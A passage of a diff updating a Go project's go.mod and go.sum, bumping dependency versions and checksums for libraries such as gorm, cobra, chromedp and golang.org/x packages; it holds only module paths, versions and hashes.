github.com/gofrs/uuid v4.3.0+incompatible
|
||||
github.com/google/uuid v1.3.0
|
||||
github.com/gorilla/mux v1.8.0
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
|
||||
@@ -24,18 +28,18 @@ require (
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lesnuages/snitch v0.6.0
|
||||
github.com/mattn/go-sqlite3 v1.14.12
|
||||
github.com/miekg/dns v1.1.35
|
||||
github.com/mattn/go-sqlite3 v1.14.15
|
||||
github.com/miekg/dns v1.1.50
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/shirou/gopsutil/v3 v3.21.10
|
||||
github.com/sirupsen/logrus v1.8.1
|
||||
github.com/spf13/cobra v1.1.1
|
||||
github.com/stretchr/testify v1.7.0
|
||||
github.com/sirupsen/logrus v1.9.0
|
||||
github.com/spf13/cobra v1.5.0
|
||||
github.com/stretchr/testify v1.8.0
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
|
||||
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
|
||||
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
|
||||
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
|
||||
golang.org/x/text v0.3.7
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
@@ -43,10 +47,10 @@ require (
|
||||
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
|
||||
google.golang.org/protobuf v1.27.1
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8
|
||||
gorm.io/driver/mysql v1.0.3
|
||||
gorm.io/driver/postgres v1.0.5
|
||||
gorm.io/driver/sqlite v1.1.3
|
||||
gorm.io/gorm v1.21.14
|
||||
gorm.io/driver/mysql v1.3.6
|
||||
gorm.io/driver/postgres v1.3.9
|
||||
gorm.io/driver/sqlite v1.3.6
|
||||
gorm.io/gorm v1.23.8
|
||||
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
|
||||
modernc.org/sqlite v1.16.0
|
||||
)
|
||||
@@ -61,41 +65,45 @@ require (
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
|
||||
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
|
||||
github.com/chromedp/sysutil v1.0.0 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
|
||||
github.com/desertbit/closer/v3 v3.1.2 // indirect
|
||||
github.com/desertbit/readline v1.5.1 // indirect
|
||||
github.com/dlclark/regexp2 v1.2.0 // indirect
|
||||
github.com/dlclark/regexp2 v1.4.0 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/go-ole/go-ole v1.2.6 // indirect
|
||||
github.com/go-sql-driver/mysql v1.5.0 // indirect
|
||||
github.com/go-sql-driver/mysql v1.6.0 // indirect
|
||||
github.com/gobwas/httphead v0.1.0 // indirect
|
||||
github.com/gobwas/pool v0.2.1 // indirect
|
||||
github.com/gobwas/ws v1.1.0 // indirect
|
||||
github.com/golang/protobuf v1.5.2 // indirect
|
||||
github.com/google/btree v1.0.1 // indirect
|
||||
github.com/hashicorp/errwrap v1.1.0 // indirect
|
||||
github.com/hashicorp/go-multierror v1.1.1 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.0.0 // indirect
|
||||
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
|
||||
github.com/jackc/pgconn v1.7.0 // indirect
|
||||
github.com/jackc/pgconn v1.13.0 // indirect
|
||||
github.com/jackc/pgio v1.0.0 // indirect
|
||||
github.com/jackc/pgpassfile v1.0.0 // indirect
|
||||
github.com/jackc/pgproto3/v2 v2.0.5 // indirect
|
||||
github.com/jackc/pgproto3/v2 v2.3.1 // indirect
|
||||
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
|
||||
github.com/jackc/pgtype v1.5.0 // indirect
|
||||
github.com/jackc/pgx/v4 v4.9.0 // indirect
|
||||
github.com/jackc/pgtype v1.12.0 // indirect
|
||||
github.com/jackc/pgx/v4 v4.17.2 // indirect
|
||||
github.com/jinzhu/inflection v1.0.0 // indirect
|
||||
github.com/jinzhu/now v1.1.2 // indirect
|
||||
github.com/jinzhu/now v1.1.5 // indirect
|
||||
github.com/josharian/intern v1.0.0 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/mattn/go-colorable v0.1.8 // indirect
|
||||
github.com/mattn/go-isatty v0.0.13 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.9 // indirect
|
||||
github.com/mailru/easyjson v0.7.7 // indirect
|
||||
github.com/mattn/go-colorable v0.1.9 // indirect
|
||||
github.com/mattn/go-isatty v0.0.14 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.12 // indirect
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
|
||||
github.com/sergi/go-diff v1.1.0 // indirect
|
||||
github.com/rivo/uniseg v0.2.0 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
golang.org/x/mod v0.5.1 // indirect
|
||||
@@ -106,7 +114,7 @@ require (
|
||||
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
|
||||
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
|
||||
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
|
||||
gopkg.in/yaml.v3 v3.0.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
lukechampine.com/uint128 v1.1.1 // indirect
|
||||
modernc.org/cc/v3 v3.35.24 // indirect
|
||||
modernc.org/ccgo/v3 v3.15.18 // indirect
|
||||
|
||||
@@ -27,7 +27,6 @@ cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4g
|
||||
cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=
|
||||
cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
|
||||
cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=
|
||||
cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk=
|
||||
cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
|
||||
cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=
|
||||
cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=
|
||||
@@ -39,8 +38,8 @@ cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RX
|
||||
cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0=
|
||||
dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
|
||||
github.com/AlecAivazis/survey/v2 v2.0.5/go.mod h1:WYBhg6f0y/fNYUuesWQc0PKbJcEliGcYHB9sNT3Bg74=
|
||||
github.com/AlecAivazis/survey/v2 v2.2.2 h1:1I4qBrNsHQE+91tQCqVlfrKe9DEL65949d1oKZWVELY=
|
||||
github.com/AlecAivazis/survey/v2 v2.2.2/go.mod h1:9FJRdMdDm8rnT+zHVbvQT2RTSTLq0Ttd6q3Vl2fahjk=
|
||||
github.com/AlecAivazis/survey/v2 v2.3.6 h1:NvTuVHISgTHEHeBFqt6BHOe4Ny/NwGZr7w+F8S9ziyw=
|
||||
github.com/AlecAivazis/survey/v2 v2.3.6/go.mod h1:4AuI9b7RjAR+G7v9+C4YSlX/YL3K3cWNXgWXOhllqvI=
|
||||
github.com/Azure/azure-sdk-for-go v16.2.1+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc=
|
||||
github.com/Azure/go-ansiterm v0.0.0-20170929234023-d6e3b3328b78/go.mod h1:LmzpDX56iTiv29bbRTIsUNlaFfuhWRQBWjQdVyAevI8=
|
||||
github.com/Azure/go-autorest v14.2.0+incompatible/go.mod h1:r+4oMnoxhatjLLJ6zxSWATqVooLgysK6ZNox3g/xq24=
|
||||
@@ -75,6 +74,8 @@ github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03
|
||||
github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd h1:u7K2oMFMd8APDV3fM1j2rO3U/XJf1g1qC3DDTKou8iM=
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||
github.com/Masterminds/semver/v3 v3.1.1 h1:hLg3sBzpNErnxhQtUy/mmLR2I9foDujNK030IGemrRc=
|
||||
github.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs=
|
||||
github.com/Microsoft/go-winio v0.4.11/go.mod h1:VhR8bwka0BXejwEJY73c50VrPtXAaKcyvVC4A4RozmA=
|
||||
github.com/Microsoft/go-winio v0.4.14/go.mod h1:qXqCSQ3Xa7+6tgxaGTIe4Kpcdsi+P8jBhyzoq1bpyYA=
|
||||
github.com/Microsoft/go-winio v0.4.16-0.20201130162521-d1ffc52c7331/go.mod h1:XB6nPKklQyQ7GC9LdcBEcBl8PF76WugXOPRXwdLnMv0=
|
||||
@@ -85,9 +86,12 @@ github.com/Microsoft/hcsshim v0.8.6/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXn
|
||||
github.com/Microsoft/hcsshim v0.8.7-0.20190325164909-8abdbb8205e4/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXnJs8iY7rUg=
|
||||
github.com/Microsoft/hcsshim v0.8.14/go.mod h1:NtVKoYxQuTLx6gEq0L96c9Ju4JbRJ4nY2ow3VK6a9Lg=
|
||||
github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
|
||||
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
|
||||
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667 h1:l2RCK7mjLhjfZRIcCXTVHI34l67IRtKASBjusViLzQ0=
|
||||
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
|
||||
github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2 h1:+vx7roKuyA63nhn5WAunQHLTznkw5W8b1Xc0dNjp83s=
|
||||
github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2/go.mod h1:HBCaDeC1lPdgDeDbhX8XFpy1jqjK0IBG8W5K+xYqA0w=
|
||||
github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
|
||||
github.com/PuerkitoBio/purell v1.0.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
|
||||
github.com/PuerkitoBio/purell v1.1.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
|
||||
@@ -103,25 +107,15 @@ github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdc
|
||||
github.com/VividCortex/ewma v1.1.1/go.mod h1:2Tkkvm3sRDVXaiyucHiACn4cqf7DpdyLvmxzcbUokwA=
|
||||
github.com/akamensky/argparse v1.2.1/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
|
||||
github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
|
||||
github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38 h1:smF2tmSOzy2Mm+0dGI2AIUHY+w0BUc+4tn40djz7+6U=
|
||||
github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38/go.mod h1:r7bzyVFMNntcxPZXK3/+KdruV1H5KSlyVY0gc+NgInI=
|
||||
github.com/alecthomas/chroma v0.8.1 h1:ym20sbvyC6RXz45u4qDglcgr8E313oPROshcuCHqiEE=
|
||||
github.com/alecthomas/chroma v0.8.1/go.mod h1:sko8vR34/90zvl5QdcUdvzL3J8NKjAUx9va9jPuFNoM=
|
||||
github.com/alecthomas/colour v0.0.0-20160524082231-60882d9e2721 h1:JHZL0hZKJ1VENNfmXvHbgYlbUOvpzYzvy2aZU5gXVeo=
|
||||
github.com/alecthomas/colour v0.0.0-20160524082231-60882d9e2721/go.mod h1:QO9JBoKquHd+jz9nshCh40fOfO+JzsoXy8qTHF68zU0=
|
||||
github.com/alecthomas/kong v0.2.4/go.mod h1:kQOmtJgV+Lb4aj+I2LEn40cbtawdWJ9Y8QLq+lElKxE=
|
||||
github.com/alecthomas/repr v0.0.0-20180818092828-117648cd9897 h1:p9Sln00KOTlrYkxI1zYWl1QLnEqAqEARBEYa8FQnQcY=
|
||||
github.com/alecthomas/repr v0.0.0-20180818092828-117648cd9897/go.mod h1:xTS7Pm1pD1mvyM075QCDSRqH6qRLXylzS24ZTpRiSzQ=
|
||||
github.com/alecthomas/chroma v0.10.0 h1:7XDcGkCQopCNKjZHfYrNLraA+M7e0fMiJ/Mfikbfjek=
|
||||
github.com/alecthomas/chroma v0.10.0/go.mod h1:jtJATyUxlIORhUOFNA9NZDWGAQ8wpxQQqNSB4rjA/1s=
|
||||
github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
|
||||
github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
|
||||
github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
|
||||
github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
|
||||
github.com/alexflint/go-filemutex v0.0.0-20171022225611-72bdc8eae2ae/go.mod h1:CgnQgUtFrFz9mxFNtED3jI5tLDjKlOM+oUF/sTk6ps0=
|
||||
github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY=
|
||||
github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
|
||||
github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8=
|
||||
github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
|
||||
github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
|
||||
github.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a/go.mod h1:lB+ZfQJz7igIIfQNfa7Ml4HSf2uFQQRzpGGRXenZAgY=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
|
||||
@@ -134,7 +128,6 @@ github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+Ce
|
||||
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
|
||||
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
|
||||
github.com/bitly/go-simplejson v0.5.0/go.mod h1:cXHtHw4XUPsvGaxgjIAn8PhEWG9NfngEKAMDJEczWVA=
|
||||
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
|
||||
github.com/blang/semver v3.5.0+incompatible/go.mod h1:kRBLl5iJ+tD4TcOOxsy/0fnwebNt5EWlYSAyrTnjyyk=
|
||||
github.com/blang/semver v3.5.1+incompatible/go.mod h1:kRBLl5iJ+tD4TcOOxsy/0fnwebNt5EWlYSAyrTnjyyk=
|
||||
github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4=
|
||||
@@ -150,8 +143,14 @@ github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA
|
||||
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
|
||||
github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
|
||||
github.com/checkpoint-restore/go-criu/v4 v4.1.0/go.mod h1:xUQBLp4RLc5zJtWY++yjOoMoB5lihDt7fai+75m+rGw=
|
||||
github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
|
||||
github.com/cheggaaa/pb/v3 v3.0.5/go.mod h1:X1L61/+36nz9bjIsrDU52qHKOQukUQe2Ge+YvGuquCw=
|
||||
github.com/cheggaaa/pb/v3 v3.1.0 h1:3uouEsl32RL7gTiQsuaXD4Bzbfl5tGztXGUvXbs4O04=
|
||||
github.com/cheggaaa/pb/v3 v3.1.0/go.mod h1:YjrevcBqadFDaGQKRdmZxTY42pXEqda48Ea3lt0K/BE=
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf h1:e0oJZmGJidTRZ0FvWXNhdj9OaOMN30Yf+T3K2Tf3L+s=
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf/go.mod h1:5Y4sD/eXpwrChIuxhSr/G20n9CdbCmoerOHnuAf0Zr0=
|
||||
github.com/chromedp/chromedp v0.8.5 h1:HAVg54yQFcn7sg5reVjXtoI1eQaFxhjAjflHACicUFw=
|
||||
github.com/chromedp/chromedp v0.8.5/go.mod h1:xal2XY5Di7m/bzlGwtoYpmgIOfDqCakOIVg5OfdkPZ4=
|
||||
github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
|
||||
github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
|
||||
github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
|
||||
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
|
||||
github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
|
||||
@@ -205,7 +204,6 @@ github.com/containernetworking/plugins v0.8.7/go.mod h1:R7lXeZaBzpfqapcAbHRW8/CY
|
||||
github.com/containers/ocicrypt v1.0.3/go.mod h1:CUBa+8MRNL/VkpxYIpaMtgn1WgXGyvPQj8jcy0EVG6g=
|
||||
github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk=
|
||||
github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
|
||||
github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
|
||||
github.com/coreos/go-iptables v0.4.5/go.mod h1:/mVI274lEDI2ns62jHCDnCyBF9Iwsmekav8Dbxlm1MU=
|
||||
github.com/coreos/go-iptables v0.5.0/go.mod h1:/mVI274lEDI2ns62jHCDnCyBF9Iwsmekav8Dbxlm1MU=
|
||||
github.com/coreos/go-oidc v2.1.0+incompatible/go.mod h1:CgnwVTmzoESiwO9qyAFEMiHoZ1nMCKZlZ9V6mm3/LKc=
|
||||
@@ -221,15 +219,15 @@ github.com/coreos/pkg v0.0.0-20160727233714-3ac0863d7acf/go.mod h1:E3G3o1h8I7cfc
|
||||
github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
|
||||
github.com/creack/pty v1.1.7 h1:6pwm8kMQKCmgUg0ZHTm5+/YvRK0s3THD/28+T6/kk4A=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
|
||||
github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
|
||||
github.com/creack/pty v1.1.17 h1:QeVUsEDNrLBW4tMgZHvxy18sKtr6VI492kBhUfhDJNI=
|
||||
github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
||||
github.com/cyphar/filepath-securejoin v0.2.2/go.mod h1:FpkQEhXnPnOthhzymB7CGsFk2G9VLXONKD9G7QGMM+4=
|
||||
github.com/d2g/dhcp4 v0.0.0-20170904100407-a1d1b6c41b1c/go.mod h1:Ct2BUK8SB0YC1SMSibvLzxjeJLnrYEVLULFNiHY9YfQ=
|
||||
github.com/d2g/dhcp4client v1.0.0/go.mod h1:j0hNfjhrt2SxUOw55nL0ATM/z4Yt3t2Kd1mW34z5W5s=
|
||||
github.com/d2g/dhcp4server v0.0.0-20181031114812-7d4a0a7f59a5/go.mod h1:Eo87+Kg/IX2hfWJfwxMzLyuSZyxSoAug2nGa1G2QAi8=
|
||||
github.com/d2g/hardwareaddr v0.0.0-20190221164911-e7d9fbe030e4/go.mod h1:bMl4RjIciD2oAxI7DmWRx6gbeqrkoLqv3MV0vzNad+I=
|
||||
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 h1:y5HC9v93H5EPKqaS1UYVg1uYah5Xf51mBfIoWehClUQ=
|
||||
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964/go.mod h1:Xd9hchkHSWYkEqJwUGisez3G1QY8Ryz0sdWrLPMGjLk=
|
||||
github.com/davecgh/go-spew v0.0.0-20151105211317-5215b55f46b2/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
@@ -247,8 +245,8 @@ github.com/desertbit/readline v1.5.1 h1:/wOIZkWYl1s+IvJm/5bOknfUgs6MhS9svRNZpFM5
|
||||
github.com/desertbit/readline v1.5.1/go.mod h1:pHQgTsCFs9Cpfh5mlSUFi9Xa5kkL4d8L1Jo4UVWzPw0=
|
||||
github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
|
||||
github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no=
|
||||
github.com/dlclark/regexp2 v1.2.0 h1:8sAhBGEM0dRWogWqWyQeIJnxjWO6oIjl8FKqREDsGfk=
|
||||
github.com/dlclark/regexp2 v1.2.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
|
||||
github.com/dlclark/regexp2 v1.4.0 h1:F1rxgk7p4uKjwIQxBs9oAXe5CqrXlCduYEJvrF4u93E=
|
||||
github.com/dlclark/regexp2 v1.4.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
|
||||
github.com/dnaeon/go-vcr v1.0.1/go.mod h1:aBB1+wY4s93YsC3HHjMBMrwTj2R9FHDzUr9KyGc8n1E=
|
||||
github.com/docker/distribution v2.7.1-0.20190205005809-0d3efadf0154+incompatible/go.mod h1:J2gT2udsDAN96Uj4KfcMRqY0/ypR+oyYUYmja8H+y+w=
|
||||
github.com/docker/docker v1.4.2-0.20191028175130-9e7d5ac5ea55/go.mod h1:eEKB0N0r5NX/I1kEveEz05bcu8tLC/8azJZsviup8Sk=
|
||||
@@ -280,8 +278,8 @@ github.com/evanphx/json-patch v4.9.0+incompatible/go.mod h1:50XU6AFN0ol/bzJsmQLi
|
||||
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
|
||||
github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
|
||||
github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
|
||||
github.com/fatih/color v1.12.0 h1:mRhaKNwANqRgUBGKmnI5ZxEk7QXmjQeCcuYFMX2bfcc=
|
||||
github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
|
||||
github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
|
||||
github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
|
||||
